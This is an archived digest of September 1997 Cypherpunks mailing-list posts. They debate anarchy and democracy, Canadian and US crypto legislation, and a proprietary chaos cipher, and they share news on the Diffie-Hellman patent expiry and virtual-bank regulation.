Message-ID: <1.5.4.32.19970906163543.006eb860@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



WaPo mocks today a prez panel's gurglng for a $1B 
"cyber security" cleaver to lop-hand the world's 
HRH Harry-Hackers:

   http://jya.com/pccipower.htm

Read how 3xlegal-limit limo-liz-NSA hot-wires dire 
Di-car-alarms, pillar plow not, how to shuck for 
xtra bux spying foes inside your Net warfare.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 7 Sep 1997 02:21:45 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Democracy is the true enemy, and anarchists fight the true enemy (fwd)
Message-ID: <199709061824.NAA23842@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 6 Sep 1997 10:53:57 -0700
> From: Tim May <tcmay@got.net>
> Subject: Democracy is the true enemy, and anarchists fight the true enemy

> Democracy is the true enemy. Anarchists fight the true enemy.

Oh pooh. Spare us the spin doctor diatribe...

Anarchist are interested in protecting only their own person and
possessions over and above all other factors. Furthermore, it in no way
protects from oppression at the individual or social level. The only thing
it does is guarantee that I will have to spend a great deal of my income
on protection, most folks have something better to do with their time than
participate in a system that believes the height of personal achievment is
to sit around and stroke your gun looking for trespassers on their property.
Try explaining how an anarchy is going to better protect my right to free
speech or the economic and social stability required to carry on a business?

Democracy <> Mob Rule

Something you just don't seem to get.

A good measure of the oppressive level in a given government is to examine
who owns property versus who manages it.

Type:                            Owner:             Manager:

Communism                        Govt.              Govt.

Fascist                          Indiv.             Govt.

Democracy                        Indiv. <> Shared   Indiv. <> Shared

Anarchy                          N/A                N/A

Changes in this relationship seem to be a good measure. For example consider
the level of change in ownership rights before and after the changes in the
confiscation laws. If one thinks of speech as a commodity this also holds.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sun, 7 Sep 1997 01:57:32 +0800
To: dagenais@videotron.ca
Subject: Excerpts from Cdn-Firearms Digest V1 #978
In-Reply-To: <199709060107.TAA25737@broadway.sfn.saskatoon.sk.ca>
Message-ID: <199709061745.NAA10147@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On  5 Sep 97 at 19:07, Cdn-Firearms Digest wrote:


------ Forwarded message ---------
Date: Fri, 5 Sep 1997 19:07:19 -0600 
From: Karl Schrader <schraderkg@intranet.ca> 
Subject: Bill C-95

Re.: recent amendment to Criminal Code, Bill C-95
--------------------------------------------------------------
Did any legal expert analyse the recent amendment to the
Criminal Code regarding  the mere membership in an organization
consisting of more than 5 people which imposes a penalty in prison
from 5 to 14 years if any mischief is even mentioned?

This amendment is aimed at the biker gangs, however, the way it
is worded, it can be applied to any group, be they environmenta-
lists, unionists, recreational firearms owners, birdwatchers or even
stampcollectors where the mere mentioning of mischief is ground
enough to face 5-14 years in jail.

This development here in Canada is truly frightening and is remi-
niscent of a movie called "Judgement at Nuremburg" with Spencer
Tracey and Burt Lancaster, where Burt Lancaster played a
German Judge under Hitler, who applied all kinds of  laws, created
by the Nazis, which were clearly against common sense and
human values and utterly repressive. These laws were pushed
through the German puppet parliament by the then party in
power. We are all aware of what happened in the end to this
regime. Several thousand Canadians, however, had to make the
supreme sacrifice to eliminate this evil and now it rears it's ugly
head here in Canada .

This amendment was the subject of a radio interview this morning
with a defence lawyer on CBC 2. The lawyer was utterly shocked
at what can be done with this legislation and strongly expected a
charter challenge. Unfortunately this will require again enormous
amounts of funds to be wasted in a completely unproductive and
wasteful manner. Why are we constantly running up against laws
which have to be challenged  ?  Why can the new laws not be
drafted in a way that they are charterproof ? Just imagine if we
did not even have the Charter. The people who are drafting the
laws and are getting paid good salaries can not all be idiots ?
And what about the parliamentarians who pass these laws ?

One does not need a gun to destroy a human life, all that is
needed is a repressive law. Let someone with a criminal record
just try to get a job when he comes out of jail.

"" If it saves only one life !" (Wendy C.....)

FOCUS: If 97% of Canadians are being pushed around by 3%,
              there is something seriously wrong !!

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 7 Sep 1997 02:54:27 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: New Contact Info... (fwd)
Message-ID: <199709061855.NAA23960@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Sat Sep  6 13:51:44 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199709061851.NAA23913@einstein.ssz.com>
Subject: New Contact Info...
To: users@ssz.com (SSZ User Mail List)
Date: Sat, 6 Sep 1997 13:51:37 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2924      



             "Reality is observer dependant"
                              \
                                \   \\/////
                                    |     | 
                                    (.) (.)
      ===========================oOO==(_)==OOo==========================             

                                  James Choate

         Tivoli Systems, Inc.                   The Armadillo Group
         Senior Support Engineer                SOHO - Internet - Technology

         9442 Capitol of Texas Highway North    608 E. 48th.
         Suite 500                              Austin, TX  78751  
         Austin, TX 78759

         Email: jchoate@tivoli.com              Email: ravage@ssz.com
         Phone: 512-436-8893                    Phone: 512-451-7087
         Fax:   512-345-2784                    Fax:   n/a
         WWW:   www.tivoli.com                  WWW:   www.ssz.com
         Modem: n/a                             Modem: 512-451-7009
         Pager: 888-902-7999                    Pager: n/a
         Cellular: n/a                          Cellular: n/a

      ===================================================================

         Political ideal: The Constitution says "Congress shall make
                          no law..." & What happened to the 9th &
                          10th Amendments?

         Philosophy: Pantheism - the belief that everything is divine,
                                 that God is not seperate but totaly
                                 identified with the cosmos, and that
                                 God does not possess personality or
                                 transcendence.

         Favorite Cartoon - Danger Mouse & Mighty Mouse (the original)

      ===================================================================


            The end of our exploring will be to arrive at where we
            started, and to know the place for the first time.

                                                 T.S. Eliot

      ===================================================================

                            Adopt, adapt, improvise!

                                                  Anonymous

      ===================================================================

            For a succesful technology, reality must take precedence
            over public relations, for nature cannot be fooled.

                                               Richard Feynman

      ===================================================================

            Sometimes it is said that man cannot be trusted with the
            government of himself.  Can he, then, be trusted with
            the government of others? Or have we found angels in the
            forms of kings to govern him?  Let history answer this
            question.

                             Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 8 Sep 1997 03:53:42 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Removing Tyranny from Democracy (Part I), was Democracy is thetrue enemy...
In-Reply-To: <199709061824.NAA23842@einstein.ssz.com>
Message-ID: <v03102803b0376888d957@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I think this discussion regarding democracy vs. anarchy is misguided.  It
may be more important recognizing where the control of democratic
government is lodged.  The following excerpts, from the Soverign
Individual, make an excellent case that democracy is not in and of itself
the primary cause of many of our objections, but rather the means of
democracy.

--------

			WHO CONTROLS GOVERNMENT?

The question of who controls the government has almost always been asked as
a political question. It has had many answers, but almost uniformly these
involved identifying the political party, group, or faction that dominated
the control of a particular state at a particular moment. You probably have
not heard much about a government controlled by its customers. Thinking
about government as an economic unit leads on to analyze the control of
government in economic rather than political terms.

In this view, there are three basic alternatives in the control of
government, each of which entails a fundamentally different set of
incentives: proprietors, employees, and customers.

Proprietors

In rare cases governments are sometimes controlled by a proprietor, usually
a hereditary leader who for all intents and purposes owns the country. For
example, the Sultan of Brunei treats the government of Brunei somewhat like
a proprietorship.

Governments controlled by proprietors have strong incentives to reduce the
costs of providing protection or monopolizing violence in a given area. But
so long as their rule is secure, they have little incentive to reduce the
price (tax) they charge their customers below the rate that optimizes
revenues. The higher the price a monopolist can charge, and the lower his
actual costs, the greater the profit he will make.

Employees

It is easy to characterize the incentives that prevail for governments
controlled by their employees. They would be similar incentives in other
employee-controlled organizations. First and foremost, employee-run
organizations tend to favor any policy that increases employment and oppose
measures which reduce jobs. A government controlled by its employees would
seldom have incentives to either reduce the costs of government or the
price charged to their customers. However, where conditions impose strong
price resistance, in the form of opposition to higher taxes, governments
controlled by employees would be more likely to let their revenues fall
below their outlays than to cut their outlays. In other words, their
incentives imply that they may be inclined toward chronic deficits, as
governments controlled by proprietors would not be.

Customers

The medieval merchant republics, like Venice, examples of governments
controlled by their customers. There a group of wholesale merchants who
required protection effectively controlled the government for centuries.
They were genuinely customers for the protection service government
provided, not proprietors. They paid for the service. They did not seek to
profit from their control of government's monopoly of violence. If some
did, they were prevented from doing so by the other customers for long
periods of time. Other examples of governments controlled by their
customers include democracies and republics with limited franchise, such as
the ancient democracies, or the American republic in its founding period.
At that time, only those who paid for the government, about 10 percent of
the population, were allowed to vote.

Governments controlled by their customers, like those of proprietors, have
incentives to reduce their operating costs as far as possible. But unlike
governments controlled by either proprietors or employees, governments
actually controlled by their customers have incentives to hold down the
prices they charge. Where customers rule, governments are lean and
generally unobtrusive, with low operating costs, minimal employment, and
low taxes. A government controlled by its customers sets tax rates not to
optimize the amount the government can collect but rather to optimize the
amount that the customers can retain. Like typical enterprises in
competitive markets, even a monopoly controlled by its customers would be
compelled to move toward efficiency. It would not be able to charge a
price, in the form of taxes, that exceeded costs by more than a bare margin.

--------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 7 Sep 1997 05:38:02 +0800
To: "Nobuki Nakatuji" <cypherpunks@toad.com
Subject: Re: Gao's Chaos Cryptosystem
In-Reply-To: <19970906073720.3185.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970906142615.0069ff20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 AM 9/6/97 PDT, Nobuki Nakatuji wrote:
>GCC(Gao's Chaos Cryptosystem)
>GCC uses the newest chaos logic and is conventional cryptosystem 
>stream cipher encryption. It is high speed and allows variable-length keys,
>making it very reliable and suitable for use in multimedia.
>http://www.iisi.co.jp/reserch/GCC-over.htm
>[Products using it, user-friendliness, etc.]

Good user interfaces and high speed are important, but not enough.
How strong is the cypher?  Where is the academic research behind it?
What is the algorithm?  Why should we trust it?  Who else has tested it?
Other people have built cyphers based on chaotic systems, and found
they were weak when analyzed properly.  Building good cryptosystems is
difficult.

The web page doesn't give any details about the algorithm,
except saying that it uses chaos and strange attractors,
uses variable-length keys, and has a structure that uses
XOR of the stream cypher with the plaintext.
It does say the algorithm has a 0-1 balance of 0.5/0.5 
(which any good cryptosystems do) and has a medium-sized state space (2**96).

It claims that because it's a one-way stream cypher, that makes it
safe against chosen plaintext attacks.  That's not true.
Choose a plaintext of all zeros, and that gives you the
output of the chaotic system which you can analyze for patterns.
If you know the structure of the chaotic system, you can
analyze the mathematics to see how to find the state space,
and how to find the future output from the current output and
the state space - if the algorithm is strong, this is difficult,
but if the algorithm is weak, this is easy.  If you don't publish
the algorithm, nobody can prove that it's strong, and in the
world of cryptosystems, that means nobody will trust it,
because we know how weak many other strong-looking algorithms are.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 7 Sep 1997 05:57:37 +0800
To: cypherpunks@cyberpass.net
Subject: Bill C-95
Message-ID: <19970906214616.11123.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



jf_avon@citenet.net writes:

 > FOCUS: If 97% of Canadians are being pushed around by 3%,
 > there is something seriously wrong !!

If 0.00001% of a society is being pushed around by 99.99999%,
there is something seriously wrong.

The most important part of any democracy are the checks and
balances which prevent the majority from imposing their will on
the minority over things which are none of the majority's
business.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0110.myriad.ml.org (Matthew Ghio)
Date: Sun, 7 Sep 1997 05:54:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Usenet Propagation Sucks
In-Reply-To: <199709052156.OAA11226@sirius.infonex.com>
Message-ID: <199709062147.OAA21756@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Mark Hedges <hedges@sirius.infonex.com> wrote:

> In practice, it's really tough to keep a good feed going. We happen
> to keep the alt.anon* stuff for a longer period of time.

As do I.  The use of alt.anonymous.messages as an anonymous message pool
has become quite popular lately, to the point where the traffic often
reaches several MB per day.


> We've started keeping individual groups longer as requested by readers.
> This makes them happy, for the most part. It needs so much disk! We have
> two incoming server feeds and three outgoing and people still complain
> that their groups don't have enough messages for their liking.
...
> A server would need terabyte upon terabyte to store a good archive
> of Usenet for, say, the past year.

Actually, I am suprised at how small a segment of the internet populace
actually posts.  Can you imagine what would happen if a hundred million
people posted every day?  You'd need a terabyte for just one day!

One nice thing is that it is highly redundant, most usenet traffic can
be compressed by a 4:1 ratio.  You could probably fit your one-year
archive into a few hundred GB.

Long-term, it would probably be more reasonable to have people just store
and forward the groups that they are interested in, more like mailing
lists.  But I must admit that I read this list via nntp, because it's
just so much easier to have everything in one place, so until things
seriously break, I suspect most people will want to have big nntp servers
with everything on them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sun, 7 Sep 1997 03:01:09 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: A helluva way to run a country, er, a world
In-Reply-To: <v03102809b03734c24855@[207.167.93.63]>
Message-ID: <199709061848.OAA16428@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




I am not sure how serious the proposed FBI-backed bill is.  It may
just be intended as a bargaining chip.  Or perhaps its sponsors are
as clueless about contitutional law as they are about cryptography and
how computers work.

It is conceivable that the courts might uphold (a carefully drafted)
law regulating the _use_ of cryptographic software, but the proposed
bill does not do that.  Instead it provides:

        (b) As of January 1, 1999, it shall be unlawful for any
        person to manufacture for sale or distribution within
        the U.S., distribute within the U.S., sell within the
        U.S., or import into the U.S., any product that can be
        used to encrypt communications or electronic
        information, unless that product:

         (1) includes features, such as key recovery, trusted 
         third party compatibility or other means, that

          (A) permit immediate decryption upon receipt of
          decryption information by an authorized party without
          the knowledge or cooperation of the person using such
          encryption product; and

          (B) is either enabled at the time of manufacture,
          distribution, sale, or import, or may be enabled by the
          purchase or end user; or

         (2) can be used only on systems or networks that include
         features, such as key recovery, trusted third party
         compatibility or other means, that permit immediate
         decryption by an authorized party without the knowledge
         or cooperation of the person using such encryption
         product.
 
But notice that the ``products'' that are described here are actually
software, are computer programs.  (I suppose that some products could
be physical devices with the programs hard-wired or in firmware, and
to the extent that there are such devices the following analysis may
not be applicable.)

Now, although it is possible that Judge Freeh and Senator Feinstein are
not aware of the fact, computer programs are written and published, and
they certainly are not ``manufactured'' in any accepted meaning of that
word, and their writing and publication is---as Judge Patel just held
once again---protected by the First Amendment to the United States
Constitution like any other writing or publication.  It may, as I said,
be possible under the Constitution to regulate the use of cryptographic
software, but to forbid the publication (distribution, sale, or import)
of software because its content is unpleasing to the government is a
blatant violation of the First Amendment.

Yet the draftsmen of the Bill do not purport to regulate the use of
cryptographic software, they only purport to forbid its publication.

Which I find strange.

What I also find strange is that the ardent opponents of the CDA do
not seem much disturbed by such a proposed violation of the First
Amendment, or by the present constitutional violations embodied in the
``export'' regulations on encrption software that are being challenged
in the _Bernstein_ and _Junger_ cases.  Somehow those who care about
the right of programmers to express their ideas and to publish the 
software that they write have failed miserably in explaining to the
public, including those organizations that have traditionally been
concerned with protecting civil liberties, that programs are written
and published like any other text.

Part of the problem may be that those who publish software
commercially would rather be thought of---and regulated
as---manufacturers.  The last thing that they want is for people to
start claiming a first amendment right to read their programms and to
copy the ideas, or criticize the expression of the ideas, that are
buried there.  To the software moguls ``free speech'' must sound an 
awful lot like ``free software''.  And, however distasteful they may
find the proposed legislation, it at least has the virtue of making it 
illegal to import or distribute Linux.  And the nice thing about 
regulations of the sort proposed is that they raise insurmountable
barriers for any competitor who hopes to enter the market place for
computer software.

Another reason that there may not be so much concern among traditional
civil libertarians about the First Amendment implications of this
proposed crypto legislation or of the export regulations on encryption
software is that---as hard as it may be for the denizens of this list
to comprehend---they are simply not interested in cryptography.

But the constitutional issues raised by the proposed bill and the
export regulations on cryptographic software implicate all software,
not just encryption software.  For whatever else it may be, all
software is functional, and the government's argument comes down to
the claim that they can censor software because it is functional and
that ``functionality'' is not protected by the First Amendment.  Thus,
according to the arguments that have been made by the President
himself, it would be perfectly constitutional for the government, in
order to encourage efficiency and interoperability, to forbid the
publication of any software that does not comply with the Windows 95
``standard''.

Here is what President Clinton had to say when he transferred the
regulation of cryptographic software from the Department of State to
the Department of Commerce:

 Because the export of encryption software, like the export of other
 encryption products described in this section, must be controlled
 because of such software's functional capacity, rather than because
 of any possible informational value of such software, such software
 shall not be considered or treated as ``technology,'' as that term is
 defined in section 16 of the EAA (50 U.S.C. App. 2415) and in the EAR
 (61 Fed. Reg. 12714, March 25,
 1996)[.]
 
Don't you find that rather frightening?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 7 Sep 1997 03:38:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother is watching you watch Farenheit 451
Message-ID: <1.5.4.16.19970906142352.18e791e6@alph.swosu.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 05:56 PM 9/5/97 -0700, Bill Stewart wrote:
>
...
>BTW, the last copy of F451 I saw really irked me - the cover had
>explanatory notes like "Fahrenheit 451, the temperature that books burn!"
>and stuff about firemen whose job is setting fires.  
>Are today's kids dumbing down, or less literate, or is it just enough
>longer since the book was written that publishers need to try harder to 
>get people to read it?

A varient on the third and the first.
The people now see this and say "so what?, the school boards decision to get
rid of Mark Twain is over a year old."  They see the simple title and don't
see the same high octane comments that they see on movie posters.  "burn,
and fire" probably selling at least 5% more books.
That and even though they realize that a lot of it is old news to them.  It
happened within thier lifetime without thier realizing it.
Everyone, please send a recomendation to your senators and representatives
to please at least watch the movie variations of Farenheit 451 and 1984.
The fact that so much of what was depicted in these books was once fiction
should be noted and expressed.

If teenagers were informed that there was full-frontal-nudity in the 1984
movie, they might even be convinced to watch it.

I didn't see the Farenheit 451 movie, I read the book, I saw part of the
opening, saw one inconsistancy, (teacher where the neighbor was a student),
turned the PBS station off and went to bed.  So, I really don't know if
there is any good stuff there.  (Does the owner of the bible burn on screen?
Does the stand in for Guy Montag get killed on camera by the electric hound?
Does Guy Montag roast the fire chief alive, and do we get to see the flames?
Etc.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Sep 1997 06:40:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cpunks War Dance, Feinstein Hari-Kari
In-Reply-To: <1.5.4.32.19970906200748.0075110c@pop.pipeline.com>
Message-ID: <v0310280cb0378a5c64cd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:07 PM -0700 9/6/97, John Young wrote:
>http://www.nytimes.com/library/cyber/week/090697patent.html
>
>A Patent Falls, and the Internet Dances
>
>By Peter Wayner
>
>>From the beginning, though, patent 4,200,770 was different. This
>Saturday night a group of computer scientists, Internet fanatics and
>Beltway politicos will gather in Washington, D.C.; Silicon Valley; and
>Boston to celebrate the end of the patent granted to Whitfield Diffie
>and Martin Hellman for a way to encrypt data.


Sounds to me like this reporter helped manufacture the news.....

The more things change, the more they remain the same.

And puppets still dance....



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Sep 1997 04:29:49 +0800
To: cypherpunks@toad.com
Subject: Cpunks War Dance, Feinstein Hari-Kari
Message-ID: <1.5.4.32.19970906200748.0075110c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.nytimes.com/library/cyber/week/090697patent.html

A Patent Falls, and the Internet Dances

By Peter Wayner

>From the beginning, though, patent 4,200,770 was different. This
Saturday night a group of computer scientists, Internet fanatics and
Beltway politicos will gather in Washington, D.C.; Silicon Valley; and
Boston to celebrate the end of the patent granted to Whitfield Diffie
and Martin Hellman for a way to encrypt data. 

----------

http://www.nytimes.com/library/cyber/week/090697feinstein.html

Feinstein's Remarks Rankle Constituents 

By Laurie J. Flynn

If Dianne Feinstein, California's voice in the U.S. Senate, were
looking for the fastest way to alienate her most powerful block of
voters, she may have found it this week. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 7 Sep 1997 01:58:07 +0800
To: cypherpunks@toad.com
Subject: It's Now or Never
Message-ID: <sRP9071QYHTT/U/n5qp0ow==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> 5 September 1997, MSNBC:
> FBI Director Louis Freeh floats a new proposal at a congressional 
> hearing to outlaw non-breakable crypto products.

  We have already been declared 'Future Outlaws' by one of the major
figureheads of the secret government.
  I am not waiting until 1999 to 'officially' become an outlaw. I am
starting today.
  If we have learned but one from our journey to this point in time,
it should be that by the time it's 'official', it's too late...

TheLastCanadianOutlaw





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sun, 7 Sep 1997 01:52:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Diana News?
Message-ID: <xQUHMLgAEbXxi+IvN0Utsg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
> There have been a bunch of messages about this. Some satirical, some
> serious. I've avoided any comment (so far as I remember).
> But is it news?
> I think so.
> Not necessarily for Cypherpunks....

> This story involves many interesting issues--freedom of speech,
> rights of privacy, the accomplishments of Diana, the issue Toto
> raised that Diana is surely a better role model than Diane
> (Feinstein), the monarchy, the boycott of tabloids, etc.

I would go farther than Tim on this one.  We Cypherpunks should
concern ourselves with the means traditionally and currently used to
maintain social order.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend+cypherpunks@sten.tivoli.com>
Date: Sun, 7 Sep 1997 08:13:51 +0800
To: cypherpunks@ssz.com
Subject: Re: Stupid Senate Tricks, from The Netly News
In-Reply-To: <Pine.GSO.3.95.970905075044.29678E-100000@well.com>
Message-ID: <vp67seoy91.fsf@sten.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>>>> Declan McCullagh writes:

DM> (Yet Bono was the only member of Congress with the balls to
DM> challenge FBI opposition to pro-privacy legislation at a hearing
DM> earlier this year. Go figure.)

	Perhaps ignorance is bliss?  It seems like the standard
response of Congresscritters who have been gotten to is "If you only
knew what I now know", so perhaps Rep Bono is too dull to absorb the
tales of the Horsemen in the secret briefings.

- -- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Sun, 7 Sep 1997 07:17:15 +0800
To: cypherpunks@Algebra.COM
Subject: 076l-090597-idx.html
Message-ID: <199709062308.TAA18475@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1][LINK]
     _________________________________________________________________
   
   [2]Business Section: the latest business headlines, company profiles
   and advice for managing your money.
   
   [3]Stocks Page: instant stock quotes, mutual fund quotes, market data
   and free personalized online portfolios.
   
   All Business stories and columns from [4]this morning's Washington
   Post and an image of the Business section front.
   
   [5][ISMAP]-[6][USEMAP]
     _________________________________________________________________
   
OTS Eyes Challenges of Rule-Making for `Virtual Banks'

   By Cindy Skrzycki
   Washington Post Staff Writer
   Friday, September 5, 1997; Page G01
   The Washington Post
   
   The advent of virtual banking -- in which customers may deal with
   their banks only through computers -- has prompted federal regulators
   to begin revamping existing rules regarding electronic transactions.
   
   Although banks have been dabbling in home banking and automated teller
   machines for more than a decade, only about 4 percent of U.S.
   households conduct their banking transactions online, and many of
   those may be doing such simple tasks as checking an account balance.
   
   Since 1995, two "cyberspace" banks have come online, offering services
   such as the electronic transfer of funds between accounts and bill
   paying on the Internet. Other more traditional banks are buying the
   same sorts of software to offer more electronic banking services to
   their customers, often as an adjunct to traditional services.
   
   Banking regulators expect electronic banking -- and the forms it will
   take -- to grow exponentially now that millions of Americans are
   hooked into the Internet.
   
   "We are examining whether there is anything in our rules that impedes
   electronic banking and the use of technology," said Nicholas Retsinas,
   director of the Office of Thrift Supervision, who is heading the
   agency on an interim basis. The OTS regulates 1,270 federally
   chartered savings banks and state-chartered savings and loans. "What
   can we do to facilitate the use of electronic banking?"
   
   Retsinas has written frequently about the expanding role of technology
   in banking, pointing out the profitability of using computers: A
   teller transaction can cost up to $2.93; an Internet transaction, 2
   cents.
   
   In April, the OTS began examining rules it has had on the books since
   the 1980s covering home banking, automated teller machines and data
   processing. "OTS is concerned that its current electronic banking
   regulations do not adequately address advances in technology and may
   impede prudent innovation by federal savings associations," the agency
   said, promising it will have a proposal ready next month.
   
   "We promulgated some rules where we wondered whether the language was
   appropriate, let alone the rule," Retinas said, referring to "data
   processing," a vintage term that hardly begins to capture the
   potential scope of electronic transactions.
   
   The agency also was confronted with an increasing number of questions
   by its banking constituency. Was it all right to offer Internet
   banking to depositors living abroad? Could savings and loans open
   accounts for customers or issue loans from remote electronic
   locations? What kinds of banking services could be offered over the
   Internet?
   
   These kinds of queries prompted the OTS to delve into several areas
   where current regulations are murky, or nonexistent. For example, the
   OTS is trying to figure out whether automated loan machines, which
   allow customers to apply and receive confirmation for a consumer loan
   at a site similar to an ATM, should be considered branches or
   something akin to an ATM -- though loans cannot now be originated at
   ATMs.
   
   The OTS also wonders whether its current regulation on home banking
   services covers transactions such as opening new accounts online or
   processing credit applications.
   
   The agency is considering the philosophical quandaries presented by
   the borderless nature of banking in cyberspace. How does a bank with
   no bricks and mortar define community for purposes of fulfilling
   mortgage-lending obligations to minority groups under federal laws
   such as the Community Reinvestment Act?
   
   "How does an institution demonstrate that is serving the credit needs
   of a widely dispersed customer base when there is little or no
   geographic proximity between its deposit customers and its loan
   customers?" the OTS asked.
   
   Then there are questions of security. The OTS wonders whether it
   should mandate a specific level of encryption to make transactions
   impenetrable or "rely on general safety and soundness principles to
   govern a safe system of operation?" Does it need separate regulations
   for various forms of electronic banking that might be done over the
   phone, with special software on a personal computer or on the
   Internet?
   
   Some of these questions the OTS has already had to answer.
   
   Since 1995, the OTS has approved two "Internet" banks -- Security
   First Network Bank (SFNB) in Atlanta and the Atlanta Internet Bank.
   Both offer an array of banking services and rates that are highly
   competitive with "real" banks.
   
   One of the first concerns that the OTS had was the security of systems
   used by the Internet banks. SFNB, for example, has about 12,000
   accounts and $44 million in deposits.
   
   To satisfy regulators that Security First could protect consumers'
   privacy and the sanctity of transactions being done via the Internet,
   the OTS asked Security First to "test the penetration capabilities,"
   of the bank, said Eric W. Hartz, president of SFNB. That's another way
   of saying the OTS wanted to make sure that Security First's Internet
   banking operations didn't become a playground for hackers. Atlanta
   Internet had to undergo a similar exercise to get approval from the
   OTS.
   
   Bankers, for the most part, think it's too early to write definitive
   rules for an area dominated by changing technology, although they
   would like some current OTS rules changed to accommodate different
   forms of electronic banking. They also said they hoped to see
   coordination between the OTS and other agencies that regulate banking,
   such as the Office of the Comptroller of the Currency and the Federal
   Reserve Board.
   
   As Citibank noted in comments to the OTS, "We strongly encourage the
   adoption of broad enabling regulations and policy statements," but "we
   believe that the OTS should not at this time promulgate detailed
   presciptive or, worse yet, proscriptive rules affecting electronic
   banking activities."
